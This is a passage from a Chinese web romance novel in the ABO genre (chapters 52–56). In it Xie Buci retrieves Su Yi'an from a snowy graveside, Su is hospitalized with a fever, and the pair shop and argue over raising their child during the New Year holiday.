但苏以安穿得不算厚。 零下十几度的天气,刮着六七级的风,穿什么谢不辞都觉得他肯定会冷。 而且雪越下越大。 方明之比最开始说的一个小时能到还早了些,可能是郊区本来人就不多,又怕谢不辞跟苏以安乱说话发生什么矛盾。 谢不辞都没注意到方明之是什么时候到的,他这辆车的后座车门就已经被拉开了。 “他什么时候下车的,过去有多久了?” “就给你打电话那会出去的。” 方明之带了伞,还拿了灌满热水的保温杯,厚衣服和暖手袋之类的东西。 他听见谢不辞的回答先是有些不可置信的皱了皱眉,想开口说些什么,但应该是觉得跟谢不辞说纯属浪费时间,于是把保温杯和暖手袋留下,嘱咐了一句好好看着孩子,就要拉开车门走下去。 谢不辞在他下车之前把人拽住,紧接着开口:“我都跟雪团商量好了,让你带他,我过去看看。” 见方明之犹豫,他又继续道:“你要是不来,那这车上不是也只有我跟孩子吗,这么长时间过去,他难道想不到我会进去瞅瞅吗。” 苏以安住院的那段时间里,陪床的只有谢不辞,而且苏以安不愿意任何人探望,方明之是有印象的。 虽然不清楚两个人之间发生了什么,但觉得这好歹也算是个他们开口解决问题的机会。 所以方明之也就没多说什么,接过孩子,然后给谢不辞指了路。 从车上下去,谢不辞立马就感觉到了里外的温差。 寒风吹过来,冷得他都打了个哆嗦。 大片大片的雪花吹到脸上,瞬间被体温融化。 这样的雪路寸步难行,哪怕不是在山上。 顺着方明之指的方向东拐西拐了好几个弯,谢不辞才看见苏以安那单薄的身影。 苏以安坐在雪地里,一动不动的,雪花覆盖在他深色的衣服上,走近了看就能发现,头发上的雪花融化了以后又重新冻成冰碴。 这么大的风,举伞也没什么实质性的用途。 谢不辞帮他拍了拍身上的雪,把带过来的外套披在他身上,还专门站在了能帮他挡风的方向。 原本是想开口劝他带他回去的。 可真的见到人了,谢不辞又什么都说不出来。 在医院那几天,于苏以安而言一定是压抑的,而且他俩之间的关系实在算不上好。 翻译一下就是,苏以安连个说话的人都没有。 而且谢不辞能感觉到,苏以安很不开心。 因为连谢不辞下来找他,孩子是谁在带都没有问。 谢不辞记得,很多年以前,他们还没闹得那么僵的时候,苏以安喝醉的时候跟他说过。 如果重病一场可以彻底摆脱某个阶段无论如何都排解不掉的坏情绪,那病得也挺值的。 谢不辞虽然不太理解,但他知道,安慰不了什么的时候,能给一些陪伴也是有作用的。 只是今天的风,真的很大。 大到就算谢不辞专门扶着,那金属制的伞骨也在坚持一小段时间以后,光荣的被刮断。 谢不辞知道这种天气没法打伞,却还是固执的觉得,他起码应该给苏以安挡挡雪。 他刚拉开羽绒服的拉链,准备把伞扔掉拿自己的衣服盖在苏以安身上,就听见苏以安用已经有些沙哑的声音跟他开口:“不用了,走吧。” 谢不辞伸手把人拽起来,拖着已经被冻到有些僵硬的身体扶着苏以安往后走。 见苏以安没有主动跟他说话的意思,还不太放心的询问:“你还好吗。” “雪团不是不能待在两个爸爸都不在的密闭空间吗,你怎么说服他的?” 其实也没怎么说服,等方明之的时候,谢不辞一直在对着孩子碎碎念,也不管孩子能不能听懂,只一遍又一遍的重复,他很想下车去看看苏以安。 还在挂掉电话等人过来的时候,跟雪团保证,一定会把他亲爸爸带回来。 “我也不知道他哭闹没有,是方明之在看着他。” 顶着风雪的路真的很难走,再加上在这样的温度下,长时间保持一个姿势,四肢都会不太听指挥。 以至于回车上的那段路他们走了很久。 “在楼下单元门那里,你是专门在等着我吗。” 苏以安偏过头去看了谢不辞一眼。 可能这种气氛,就不太适合开玩笑,所以谢不辞难得得到了正经回答:“我没觉得你会跟下来。” “我原想着,应该带雪团来看看我爸,但是我知道天气不好。” “主观上很想来这一趟,却又不太想一个人过来。” 然后想在楼下抽支烟冷静冷静再决定要不要去,结果烟刚拿出来,一回头就看见谢不辞抱着雪团出现在他身后。 他想问谢不辞要带孩子去哪。 却还没等他问出来,谢不辞便率先开口问他想去哪,说他可以带他过去。 嗯,正好。 那会苏以安没顾上跟谢不辞解释,也没准备让雪团跟他一起下车。 他知道风很大,知道很有可能下雪。 但是年下了,那种无家可归的焦虑他没法跟任何人讲,于是就都演变成了他非要来看他爸这一趟的执念。 “年前会有晴天的,我们还可以再来一趟,带着雪团。” 谢不辞抓住的重点是,苏以安想带孩子来看看他爸,所以这算是他没过脑子脱口而出的一句话。 因为在他的观念里,这是件很轻松就可以完成的事情。 却没想苏以安把这个当成了承诺。 谢不辞说的是我们可以再来一次。 也许人在情绪敏感的时候就是会拿着显微镜去放大身边人的一举一动。 就这一瞬间,苏以安甚至觉得,谢不辞会说人话的时候,也没那么招人讨厌。 回到车上,雪团刚看见苏以安就哭着要他抱。 本身孩子在方明之手里也还算听话,却一看见苏以安就哭得上气不接下气的。 刚从外面回来,身上带着寒气,苏以安没立马把雪团接过来,孩子就哭得更凶。 “把沾了雪的外套脱掉。” 方明之把提前准备好的小毯子盖到苏以安身上,又给他重新拿了衣服,还不忘嘱咐着:“雪团有点怕恶劣天气,刚开始哄哄还有用,看见你就谁说话都不好使了。” 雪团抱住苏以安的脖子就不撒手,小孩一直待在车里,全身上下都是暖和的,他把脸埋在苏以安颈窝那一瞬间,苏以安的眼泪就立马不受控制的往下落。 以前的爱都明码标价,次抛月抛。 所以苏以安从来不知道,原来这个世界上还能有这么热烈纯粹的爱,存在于小孩子身上。 谢不辞想伸手替他擦擦眼泪,又顾及到刚回来他手上也是凉的,只得悻悻收回,再无可奈何的补充一句:“雪团很担心你。” 也不知道这句担心雪团听懂了没有,苏以安不说话,他就拿小脸蹭了蹭苏以安。 方明之拍了拍苏以安的肩膀,觉得他不会开口,才朝谢不辞嘱咐:“回去再说吧。” 第53章 第 53 章 擦不干净的雪在车内融化后又会打湿新换上的衣服, 冻在苏以安头发上的冰碴化成水以后顺着五官轮廓流下来,又滴到雪团的衣服上。 所幸这会街上已经看不见什么车了,返程比过来的时候快一些。 雪依旧在下, 只是风小了些。 可能有经常这样崩溃的因素在, 苏以安没用多长时间就平复好了情绪。 几十分钟缓不过来外面吹了那么久的冷风, 所以回了家以后, 苏以安还是整个人都是冷的。 这次从电梯出来, 谢不辞先是到对门给苏以安烧了洗澡用的热水,把苏以安推进浴室以后,一边给孩子换被打湿的衣服,一边忽悠着孩子他亲爸绝对不会走。 然后趁着苏以安洗澡的间隙,打电话喊了他家保姆送饭过来,又专门让人家给熬了姜汤。 觉得需要做两手准备,谢不辞还给沈伊打了电话, 让沈伊给送点感冒药退烧药什么的。 吃不吃单说,反正不能没有。 自从雪团被送到他手上以后,谢不辞都觉得自己行动能力强了不少。 后面苏以安穿着厚睡衣从浴室里出来, 雪团还是只让他抱。 但谢不辞能看出他无精打采的, 伸手试了一下他额头温度, 不出所料的感觉到比自己额温高了不少。 于是谢不辞把保姆过来熬好的姜汤端到苏以安面前,又连哄带骗的劝着他吃了点东西,才放他回卧室睡觉。 只是苏以安自己也知道肯定会生病,一开始就不是很愿意抱雪团。 他俩之间不知道为啥,忽然有种莫名其妙的相敬如宾。 苏以安连跟他说话都变得客客气气:“我睡会,你看着点孩子, 不行就带着他看会动画片。” 谢不辞闻言,举在半空中准备把雪团接过来的手先是一僵, 随后意识到苏以安可能发烧有点神志不清也就没多计较。 不就是显得不太熟吗。 往好处想想,至少苏以安还能认得他。 “哦,那你别关卧室门了,我一会过去看看你。” 他有心理准备苏以安身体不好,这么冻一下肯定会病得很严重。 所以带雪团在客厅看电视的这段时间里,谢不辞也是隔十分钟就往卧室跑一趟。 刚开始确实只是发烧而已,也没显得病得很严重,以至于苏以安说怀着小孩不想吃药,谢不辞也没多说什么。 但天一黑下来,就完全不是那么回事了。 想不明白这算是什么原理,好像和雪团最开始生病的时候是一样的,白天看起来都还好,一到晚上就忽然加重。 起初苏以安刚摇摇晃晃从卧室出来的时候,谢不辞只当他是要上厕所,特意过去扶了一把,然后很有分寸感的守在外面。 直到卫生间内传来呕吐声,谢不辞才意识到不对劲。 他进去看的时候,苏以安就算什么都吐不出来,也还是对着洗手台干呕了半天。 怕苏以安因为发烧昏昏沉沉的没法支撑身体重量,谢不辞还专门伸手扶了一把。 但触碰到苏以安撑在墙边那只手的一瞬间立马慌了神。 他们这小区暖气很足,苏以安说睡觉之前,他还专门给换了厚被子,也洗了热水澡不会出现再被冻到的情况。 结果到了现在还是浑身滚烫。 卫生间的灯是暖黄色的,导致苏以安整个人都因为发烧烧成红的,谢不辞最初也完全没有察觉。 “你需要我给你叫个救护车过来吗。” 谢不辞从没见谁发高烧到这种程度的。 这完全不是吃不吃药的问题,后面也许还会有更严重的症状,他都怕现在不送人去医院,再晚点就得直接送去抢救了。 “不用吧,我睡会就好了。” “嗯,再睡就睁不开眼了吧?” 苏以安盯着谢不辞看了好几秒,才后知后觉的像是思考明白他在说什么一般,认真的开口反驳:“睁不开眼那不就是死了吗。” “你咋不盼人好呢。” 说这两句话的生活异常沙哑,光是听着都让人觉得难受。 不过都已经到一本正经说这种话的份上了,不用想就知道病得一定不轻。 谢不辞翻出口袋里的手机打了救护车电话,然后半拖半拽的把苏以安带到客厅,给他套上了厚外套。 觉得救护车上不能没人跟着,他还专门把离开没多远的方明之又打电话叫了回来。 雪团可能也察觉到了苏以安状态很差,老老实实的坐在沙发上,没吵着让苏以安抱,只安安静静的攥着苏以安温度不太正常的手指。 见谢不辞看向他,还抓着苏以安的手朝谢不辞晃了晃。 因为语言比较匮乏,孩子着急的憋了半天,也只说出了三个字:“烫烫的。” “咋办?” 第54章 第 54 章 这能咋办啊? 其实谢不辞也有点慌神, 手忙脚乱的,这会他也不太清楚要怎么跟雪团解释。 他自认为他已经很有常识了。 没脑子一抽就跟有病的是他一样搞公主抱那一套,把人抱到楼下, 一脚油门踩八十迈的往医院跑。 起码他知道救护车会比他开车快, 沈伊或者沈伊的同事比他专业比他靠谱。 还贼善解人意的没搞开车左拐右拐给病人造成二次伤害那一套。 “嗯……” 谢不辞还没开始忽悠, 雪团就像知道他要说什么一样, 立马语无伦次的反驳:“我要爸爸。” “不跟叔叔。” 这会苏以安也扒拉了一下谢不辞, 跟着附和:“他说他不想跟叔叔,你这爸爸怎么当的,孩子都告诉你了你还不听。” “他……算了你说得有道理。” 谢不辞也觉得把雪团留在家里或者交到别人手里不太安心,况且雪团对他俩依赖性挺强的,索性也就没再坚持。 救护车来得很快,去医院的路途没有多长。 雪团确实不哭不闹的,没给谢不辞添麻烦, 甚至话都不说。 因为信息素功能障碍这种病特殊,所以苏以安被带到医院的时候,直接就交到了沈伊手里。 紧接着谢不辞就抱着孩子, 在医院走廊里看着一堆护士在病房里进进出出的, 不知道在忙什么。 谢不辞能感觉到雪团也比较焦躁, 一直攥着他大衣的袖子揉来揉去。 虽然孩子没说话也没闹,但苏以安这个状态,再不懂也不会一点都察觉不出来发生了什么。 也不知道等了多久。 反正抬头看见沈伊举着病历本一言不发的站在自己面前时,谢不辞紧张得半天没敢先开口。 他觉得沈伊肯定得骂他两句。 “烧到将近四十度?你给他扔冰窖子里去了?” “……” 谢不辞没好意思说,冰窖子好歹还有个棚能挡挡雪呢,他这直接露天。 “我长话短说, 病得这么严重,肯定要先退烧。” “再牛的医生, 也没法保证一定能方方面面都兼顾到,所以我只能挑成分比较安全不会导致信息素功能障碍病程加速的药用。” “也就是,你们家老二,不一定健康的意思。” 谢不辞听见这话心情还挺复杂的。 他知道苏以安在家不吃药是不想肚子里的孩子出什么问题。 苏以安觉得,他的跟孩子的,需要单算。 可能怀雪团的时候没那么多讲究,不会特意注意到,他身体状况差孩子也落不到什么好。 沈伊已经是很负责又专业的医生了。 又听了几句嘱咐以后,谢不辞便带着雪团进了病房。 还是原来那间。 刚出去一天就又回来了。 后面苏以安一直昏昏沉沉的,总是白天退烧,临到傍晚又忽然严重,反复了好几次。 一天当中也没有几个小时是清醒的,还因为有孕反吃不下什么东西,输液瓶挂在旁边一挂就是一大串。 等苏以安好得差不多了的时候,已经腊月二十九了。 马上就到新年。 医院里人少了很多,走廊里也安静。 没病到特别严重那份上的,都不会选择在医院过年。 苏以安和雪团都是安静的性格,谁都不说话,就显得更冷清。 谢不辞觉得,要是把他扔在这里,只有一台吵闹还没什么意思的电视叽叽喳喳的陪着他,他会被憋的发疯。 而且病房里那盏小窗户看什么视角都不好。 就导致雪团只能听见放烟花的声音。 没见过这场面,还被吓哭了好几次。 本来最好是要等情况稳定一点以后再考虑出院的,但谢不辞很清楚,如果苏以安留在医院过年,那他不会走,沈伊同样也不会。 紧接着就会出现,他跟沈伊暗戳戳较劲的场面,只要表面上稍微出现了一丢丢不和谐,话术就只有一个—— 大过年的,没必要这样。 也不说怂,主要是,跟情敌一起过年,很破坏三口之家的气氛。 后在谢不辞据理力争的掰扯了半天,终于把苏以安骗回去过年。 他们的关系还没进展到那一步,谢不辞就没强求苏以安跟他回家过年,没想着见家长。 办好了出院手续,谢不辞专门喊了司机过来把他们从医院送回小区,途中一直没让雪团离开自己肢体能接触到的范围。 因为只有孩子跟着他,才能防止苏以安把他从1501轰出去。 虽然知道苏以安喊一句雪团就会跑亲爸那头去,这么做的意义不太大,但谢不辞也还是固执的想找一点心理安慰。 年三十的晚饭肯定要准备得隆重一些。 谢不辞不会做饭,细问一下,苏以安厨艺也就那么回事,最多只能烤个蛋糕,还好多年没碰过了,手艺退化得也差不多了。 原计划去买点熟食,再两个人一起努力的炒两盘看起来能端上桌的菜,把年夜饭该有的都走个流程摆出来。 但因为介怀着之前头牌哥跟苏以安一块逛过超市,买熟食这流程一定要两个人一起去,最好还是把孩子也带着。 美其名曰,没坐过超市购物车的童年是不完整的。 出院以后天色还早,街上挺热闹的,路边挂了不少灯笼,超市外面专门拎出来卖的对联那块围了不少人。 以前谢不辞从来没进到过这么有烟火气的场合,随着人流都走到了超市门口,他还觉得有些不真实感。 见他东张西望的,苏以安拍上谢不辞的肩膀,凑到他耳边问:“你觉不觉得,咱们两家显得冷冷清清的,还看不见过年气息呢?” 谢不辞听得懂他的暗示。 过年气息,那不就是得见点红色吗,眼前这有现成的。 他往距离他们只有几步远的卖对联那小摊贩那边望了一眼,随后看向苏以安:“你跟我说句实话。” “你是真觉得我们需要对联,还是只单纯的想看我跟菜市场大妈砍价或者抢最后一副?” 苏以安一点也不见心虚:“这种没有意义又不重要的问题,一定要问吗。” 其实谢不辞也不是一定要得到一个答案。 都已经是追老婆的状态了,那老婆想要什么节目上就完了呗。 但是他这种架他吵不赢啊,而且当街,他都不敢想会有多丢人。 就算很清楚见不到熟人,谢不辞也还是怯场。 于是便开始找借口暂时推脱:“我是想说,对联这种不那么必需的东西,一定要在进超市之前买吗。” “一定。” “等你从超市出来,人家都已经卖得差不多了。” 因为家家户户都知道提前准备,所以年三十当天的对联不一定是抢手的东西,只是苏以安知道谢不辞拉不下脸来,想故意难为他一下。 “哦这样。” “那我……尽力?” 第55章 第 55 章 “我觉得, 区区两幅对联,没有拿不下来的道理。” “谢哥你说呢?” 谢不辞干笑两声,没敢接这一看就是苏以安专门为了把他架起来才讲的话。 但表面上却云淡风轻的, 还满不在乎的开口反驳:“不就是买个对联, 又不是没钱, 这有什么好拿不下的, 看好了啊。” “做人还是要大大方方的。” 苏以安没拆穿他。 然后谢不辞紧张得攥着手机的手都冒出了不少汗, 走这几步路的过程中心里还一直重复默念着他觉得正常买东西流程里要说的话—— 你好阿姨,我要两幅对联,请问我应该付多少钱。 以前几乎没干过自己买东西这种事情,谢不辞磨磨蹭蹭的走到摊位,结果刚开头的那句你好都没说完,就被不知道从哪窜出来的小孩给挤到了一遍。 随后谢不辞就听见了旁边小孩清脆的声音:“阿姨我妈又让我过来,这回我要三幅。” 谢不辞看着那只剩薄薄一层的包着塑料膜的红纸, 刚想再开口,又听见有刚从超市出来,看起来是摊主熟人的人过来搭话。 打断别人说话是不太礼貌的行为这种观念根深蒂固, 于是他就像块木头一样现在旁边等。 街上吵吵闹闹的, 等摊主注意到谢不辞搁那站着, 已经是几分钟以后的事了。 刚招呼着问谢不辞要买什么,旁边就又有新来的插队。 大妈嗓门挺大的。 不是谢不辞没敢开口,是他那点音量,在大街上实在是不够看的。 眼看着摊位上的对联越来越少,再来俩插队的他就买不上了,谢不辞急得差点喊阿姨都嘴瓢。 直到顺利抢到最后两幅, 谢不辞的脑子才开始后知后觉的复盘。 幸好,那小孩没把他开口买东西的勇气撞散。 然而在苏以安的角度看就是, 谢不辞紧张得走路都快同手同脚了,让他买个东西像是要给他上刑一般,好不容易下定决心挪过去,还被一莽莽撞撞的小孩抢先。 随后谢不辞欲言又止了半天,都快急了也还要等人家说完了再说。 每一步行动都完全在苏以安意料之外。 就在苏以安觉得他说不出来什么了,思考着要不要过去帮他一把的时候,谢不辞用能吸引街上百分之八十人的音量,对着摆摊的那看起来只有三十多岁的女人,喊了一句阿姨。 人家摊主看见他以后,那眉毛皱的,都快系上了。 买完了拿着对联回来的时候,谢不辞那个走路的劲,高兴得恨不得就差蹦起来了。 “怎么样我就说吧,买个对联而已,又不是什么难事。” 苏以安还没说话,雪团先抬头看了一眼谢不辞,然后对着他,脆生生的喊了一声:“阿姨。” 谢不辞:? “你背后跟孩子说我什么呢?” 他觉得雪团不会无缘无故学他,况且隔了那么远,能听见又能听明白的只有苏以安。 “我还没来得及说呢。” “我不信。” 在谢不辞的印象里,雪团还不到一周岁呢,话都说不利索,再咋聪明也不可能无师自通学会阴阳怪气。 肯定是苏以安提前教的。 这个想法一旦冒出头来,谢不辞立马变得理直气壮:“亲生的也不知道教点好。” 因为确实还没来得及吐槽什么,苏以安也不甘示弱:“你也知道喊阿姨不对劲啊?” “还把自个当小孩呢?啥辈啊。” 苏以安不清楚情商是不是天生的,他也理解不了谢不辞怎么二十好几的人了还能对着人家喊出阿姨来。 谢不辞好像也意识到了这称呼不太对劲,支支吾吾道:“那我……?” “你平常犯错都怎么解决?” 说到这个谢不辞就比较有经验了。 作为众所周知不怎么服管教的熊孩子,教多了谢不辞也听不进去,以至于他从小到大犯错误的解决方法都只有一个:给钱。 给钱不好用的话,那就多给点。 谢不辞他爸教育他,不能犯用钱解决不了的错。 后面他妈又专门补充过,不能做丧良心的事情。 所以谢不辞就变成了那种,把钱撒出去才能渣得理所应当的孩子。 然后就着苏以安这个问题,谢不辞还专门好好思考了一下才斟酌着开口:“这种街边大姨……” 话说一半意识到称呼不对又立马改口:“街边大姐,给个五百块?” 说完谢不辞还特意观察了一下苏以安的表情。 见苏以安神色复杂,谢不辞又试探性的加价:“那就一千?” 苏以安没搭理他,自顾自的往商场里面走。 谢不辞跟着进去,动作麻利的存包,然后追着苏以安进商场。 虽然他不清楚苏以安是觉得无语还是怎么样,但他很聪明的猜到,苏以安不认可他的处事风格。 两人沉默着走过一排排的货架,全程没像任何一起结伴逛超市的人一样有任何商量。 谢不辞这种有问题当时就要解决的性格,忍受不了这种诡异气氛。 这会他也顾不上周围是不是人很多,凑到苏以安身边低声讲话:“你哪里不认可我的处事态度你明示一下呢?” “咱俩又不是第一天认识,我也不是第一次见识到你怎么解决问题,这有什么好说的。” 苏以安没想跟他较真,说话的语气也是平和的。 因为很明白都是成年人,看不惯的东西,要么强迫自己接受,要么就远离这个人。 没什么好较真的。 “那你因为什么不开心?” 苏以安反问:“你也要这么教育雪团吗?” 这下换谢不辞沉默。 他对怎么教育孩子这一点还没思考过怎么规划,总觉得孩子还小,这种事情不着急。 而且谢不辞很清楚自己全身上下一堆臭毛病,很难保证他自己教育孩子,会把孩子带成什么样。 苏以安继续道:“不管遇到什么事都是用钱摆平,我都不敢想孩子以后会变成什么样。” 谢不辞并不是个负责任的,不管是以前还是现在。 苏以安也没法确定他现在对雪团好,是不是因为没见过小孩子三分钟热度。 再或者,也许还有一直被他拒绝,拿不下他永远不死心的因素在。 往坏了想想,以后雪团得不到谢不辞的注意,被随便扔给为了钱事事顺着孩子的保姆,周围人都奉承着孩子。 再加上不管遇上什么都用钱解决的处事风格。 那不早晚养成社会败类吗。 谢不辞也许没太强烈的概念,但苏以安是真得不能再真的底层人。 除了在重大疾病与天灾人祸面前,钱显得不是那么万能以外,剩下的,没有什么是多给点解决不了的。 到时候学得像谢不辞一样乱搞,也许还会比谢不辞更恶劣一些,拿有多少个人为他生过孩子当做炫耀的资本…… 苏以安不是杞人忧天的性格,眼下是开心的,他不会乱想一大堆有的没的。 但气氛都到这了。 “怎么教育孩子,可以不是我一个人说了算的。” 说这话时,谢不辞想表达的是,雪团是苏以安生的,怎么教育孩子苏以安也是有话语权的。 而且谢不辞从来没想过还会到了他俩需要考虑孩子教育问题的时间点,他还追不回来他老婆。 不过苏以安跟他不在一个频道,以至于他俩现在像是在吵架一样。 苏以安那话刚说完,就吸引了一大群八卦的目光。 “不是你一个人说了算,你再给找个半吊子没一点正型的后爸,孩子一辈子都看见头了。” “这啥逻辑啊?” 觉得他俩思想多少带点差异,谢不辞再说话之前,脑子里转了好几个弯去思考要怎么才能解释明白。 这会这会还招来了热心的大姨劝架。 从蔬菜区那边穿过一大群人的大姨目标特别明确的小跑着过来,将谢不辞和苏以安拉开,然后苦口婆心的规劝:“行了行了,小两口有什么架非得在这大过年的关头吵。” “你看看,你有这么漂亮又听话的孩子,怎么不知道知足呢?” “人家小伙子也一看就是那种贤妻良母型的,alpha不能那么没有良心,对老婆好一点,好不容易走到一起,哪有什么真过不去的坎。” 好心大姨一过来劝架,就像给其他听着八卦一直没敢过来说话的人打了个冲锋枪一样。 大家都开始七嘴八舌的议论。 “我离得近我也听见了,你这是想用钱把老婆打发走啊。” “孩子还不给留,人家死心塌地的跟着你还给你生孩子,是为了图你的钱吗?” “谁看得上你那俩钱啊,跟你谈感情的时候你张嘴就是钱,有你后悔的。” 别的都还好,最后一句直接实打实的戳谢不辞心窝子上了。 他以前跟苏以安睡过,自以为是补偿,留下了钱,却从没问过苏以安的想法。 所以,在这种时候提钱,显得他太自以为是了。 谢不辞有些慌张的想开口解释,但越是着急越说不出什么有用的来:“我不是,我没有……” 他刚说完,最开始那过来劝架的大姨就朝他后背上拍了一下:“咋的,你面子比老婆还重要啊?男子汉大丈夫,憋半天就说这么一句出来?” “拉拉个脸给谁看呢?说点软话还不会啊?” 这会雪团见人有点多,也不懂发生了什么,抱着苏以安脖子回过头看谢不辞。 就在大家都安静了等着谢不辞的时候,雪团先晃着小脑袋在两个人之间看了好几圈,然后对着谢不辞重复了一遍大姨刚对她的评价:“拉拉个脸。” 谢不辞一愣。 当着所有人的面拿出手机,打开前置摄像头,观察了一下自己的表情。 随后得出结论:“这不挺正常的表情吗。” 劝架的大姨恨铁不成钢:“那是重点吗,你这孩子怎么这么不会说话,你再说不出正经的来,我看人家小伙子挺不错的,一会我介绍给我儿子了。” “我也不是那个意思啊。” 谢不辞想跟苏以安说点什么,但他视线刚落到苏以安身上,只见对方扭头就走。 一点面子都不给。 他匆匆忙忙的去追,还能听见后面对他七嘴八舌的嘱咐:“记得说点好听话。” “大过年的别给找不痛快,不然来年财运都不好。” “家里有老婆就好好的,安安稳稳过日子,少整那虚头巴脑的。” 谢不辞拖长音回了一句知道,就追到了苏以安屁股后面。 然后他眼看着苏以安称了不少种类的熟食,还买了各种五颜六色看起来就很新鲜的蔬菜。 极速版的采购完所有需要采购的东西,苏以安把购物车推到谢不辞面前,示意他过去结账。 因为是目的性很强的活动,所以解决完问题就可以立马回家。 虽然看起来都是蔬菜酸奶这种食品类东西,但什么都拿一点东西也不少。 现在是傍晚,天已经开始擦黑了。 他们回家的路上,刚好透过车窗看见第一波放的最早的烟花。 车停到小区楼下,两人并排走进单元门,又进了电梯。 苏以安没明确表示不让谢不辞进他家家门,谢不辞也特别懂事的没乱说话,接下了这台阶。 打开家里的灯,苏以安先是把雪团放在沙发上,给找了玩具让他自己先玩。 然后在冰箱里翻出了好几盒速冻饺子递给谢不辞:“没有能招待你的东西,我也不会包,你要是觉得委屈你可以回家。” “不回的话,要吃就自己去煮。” 苏以安自己一个人的话,很少走形式主义。 以前自己过年,他都是家里囤好了吃的,手机扔到一边,电视也不打开,待在阳台上自己平时最喜欢的角落,蹭别人放的烟花看。 再用那一瞬间的灵感,画一幅画。 就不显得过得有多孤独。 谢不辞倒是不太在意这些,还特别粗神经的问:“我煮的话,你吃几个?一起煮了算了,炒两个菜,一会到饭点了再煮。” “那就三个吧,不喜欢速冻饺子,随便吃两口就行。” 谢不辞把多拿的饺子重新放回冰箱,给雪团找了动画片,把苏以安拖进厨房,然后翻手机里提前找好的菜谱。 这会他还有点后悔,在医院就顾着焦虑了,也没想着给整个烟花秀什么的浪漫表演。 白白浪费了个这么好的在老婆面前表现的机会。 他俩一个人在水池那边洗菜,另一个对着菜谱找调料,除去没什么话可说,表面上异常和谐。 “咱俩唠两句?” “你跟我讲讲你是怎么打算雪团和咱俩老二的呗?” 谢不辞觉得苏以安也很纠结,他不会在雪团办周岁宴之前离开,但他总觉得苏以安其实早就打算好了,只是什么都没让他知道而已。 “你要是不想要雪团,我可以随时带走。” 他知道苏以安一直摇摆不定,所以特别善解人意:“那你想听听我是怎么想的吗。” 第56章 第 56 章 “不是很想。” 谢不辞本来都酝酿好了一大堆的煽情语录, 结果苏以安短短四个字就打断施法。 “你要是不说,我还能将把雪团留给你当做是条后路,你说完了没准咱俩今天晚上就得干一架, 再接下来就是我把你轰出去, 这个年谁也别想过好。” 他俩之间有明显的思想差异, 所以苏以安这个设想没有任何问题, 甚至只要谢不辞一个用词不准确, 就可以导致这种场面的发生。 在谢不辞的观念里,之前苏以安受了那么多的苦,见他没跟见仇人一样,也没恨不得躲他八百米远,那就是感情复杂,不至于到要拼个你死我活或者老死不相往来的地步。 可能词汇比较匮乏,他就只能用一句又爱又恨来概括。 “你……我有点想知道, 你恨我到什么程度。” 苏以安接过谢不辞递来的胡萝卜,放到菜板子上,拿出旁边厨具架子上的刀, 接话时头都不抬:“恨你倒是谈不上。” “我不恨任何人, 包括我爸重病, 我出不起他透析的钱的那会,钟家人对我落井下石的各种做法在你们看来都玄幻到有些难以接受,在我这里也依旧没到恨谁这个阶段。” 在苏以安的思想里,其实就只有简单的一句话。 人都是会死的。 无论是谁出现在他身边,都早晚会走到老死不相往来那一步。 包括阶段性的朋友,酒醒就消失于人海的床伴, 和腻了就再也不会有说话机会的老板。 各有各的目的才凑在一起。 所以遇到什么都是他自己的选择,没有什么可怨天尤人的。 除了谢不辞。 谢不辞就跟因为苏以安上辈子造孽而缠上他的厉鬼一样, 见色起意说喜欢他,高中拉拉扯扯了三年还不算完,出去上大学了两个人不在一个学校也依旧不安生。 其实细算起来,他俩这都算磁场不合上不得台面的小打小闹。 连真的讨厌都算不上。 但苏以安就是不服。 他自认心态很好,起码没有因为各种旁人听起来就两眼一黑的遭遇报复社会。 可只要是人,就都有卑劣的一面。 不管谢不辞是不是真的无心又不知情,对他造成的伤害都是实打实的,而且谢不辞本人也知道自己脱不开干系。 就导致苏以安特别不平衡。 在知道怀了雪团又打不掉的时候,萌生出了装出一副爱谢不辞爱得要死要活的样子做给所有人看,然后扔下孩子这烂摊子让谢不辞糟心一辈子的想法。 他觉得他该勇敢一把。 活下来了他不憋屈,没活下来虽然没报复成,但起码他也不在了。 不亏。 于是他这么想,也就理所当然的这么做了。 “那我在你心里是个什么样的人?” 听到这苏以安手上切胡萝卜片的动作还停顿了一下。 “自私自大,人傻钱多,又暴躁又嚣张,脑子还不太正常。” “我脑子哪里不太正常了?” 原本谢不辞想反驳你脑子才不正常这种话,话都到了嘴边,又想起蒋泽让他有事没事把嘴闭上的劝告,只能生生咽回去。 “那我总得有点优点吧?” “比如……” “哦,你不说这个我还没想起来,你这人还自恋得让人很无语。” 嗯,也行吧。 苏以安没乱说。 趁着沉默的间隙,谢不辞沉思片刻,随后才把所有洗好的菜都放到面板上,自己站到苏以安身侧。 “其实,雪团也并不一定非得留给你或者留给我。” 话音刚落下,苏以安手中的刀就重重拍在面板上。 这突如其来的动静吓得谢不辞有那么一瞬间脑子都是空的,紧接着他就听见苏以安的声音:“你他妈要是敢送孤儿院或者把我儿子卖给人贩子,我就跟你拼命。” “不要他你也去死。” “不是,我是说……” 越急越容易语无伦次,谢不辞也不太明白为什么明明是表明心意的场面,画风忽然就要变成抛妻弃子的家庭伦理大戏。 “这个孩子不能咱俩一起养吗。” “我已经很长时间没有再跟任何人暧昧不清了,凌望那是以前乱七八糟的桃花债,那不算。” 苏以安没再看他。 低下头重新把注意力放在菜板子上。 豪门的婚姻,从不由自己做主。 苏以安自己承认,他找不到任何各方各面都很合适的伴侣,长期关系这种可有可无的东西,他确实可以不要,但雪团和他家老二的亲爹都是谢不辞,这是无论如何都改变不了的事实。 就算谢不辞幸运,有些人生大事还没完全与利益挂钩,他有自己做主的能力与权利。 但那又怎么样。 他们两个人本身就一个天上一个地下。 “你跟我解释干什么。” 他来能凑到一起,烂也不是一个人烂。 年轻的时候虽然各玩各的,可一起玩的那段时间大家都看得见。 谁又比谁好到哪去了。 今天一高兴说今天不喝了,明天指不定谁来一句你心心念念那小头牌又缺钱了,就又夜不归宿。 他们两个不合适。 生搬硬凑只会两败俱伤。 “我会处理好所有乱七八糟的人际关系,我不给雪团找任何后爸。” 这下苏以安正色,他偏过头,面无表情的看向谢不辞:“你的承诺无非就是上嘴唇碰一下下嘴唇。” “带着劣根性的海王收心,你相信吗。” “我要不是怀着孩子玩不了,我说我再也不玩了,你信吗。” “我信。” 谢不辞这话说得异常郑重。 似乎是觉得程度不够,他又一字一顿的重复了一遍:“我信。” 总被奉承也是有好处的。 像此时此刻,谢不辞一点漂亮话都不会说。 他知道苏以安不是那样的人,知道苏以安只是无法完全在这个圈子里抽身。 身不由己而已。 烂人遇见得太多了,就很难再相信这个世界上还有好人了。 这会又对上了蒋泽跟他讲过的另一句话:行动远比承诺有用。 “哦,那随便你。” “你不要以为你很了解我。” 谢不辞没立马接话,脑子里飞速回忆着蒋老师的知识点: 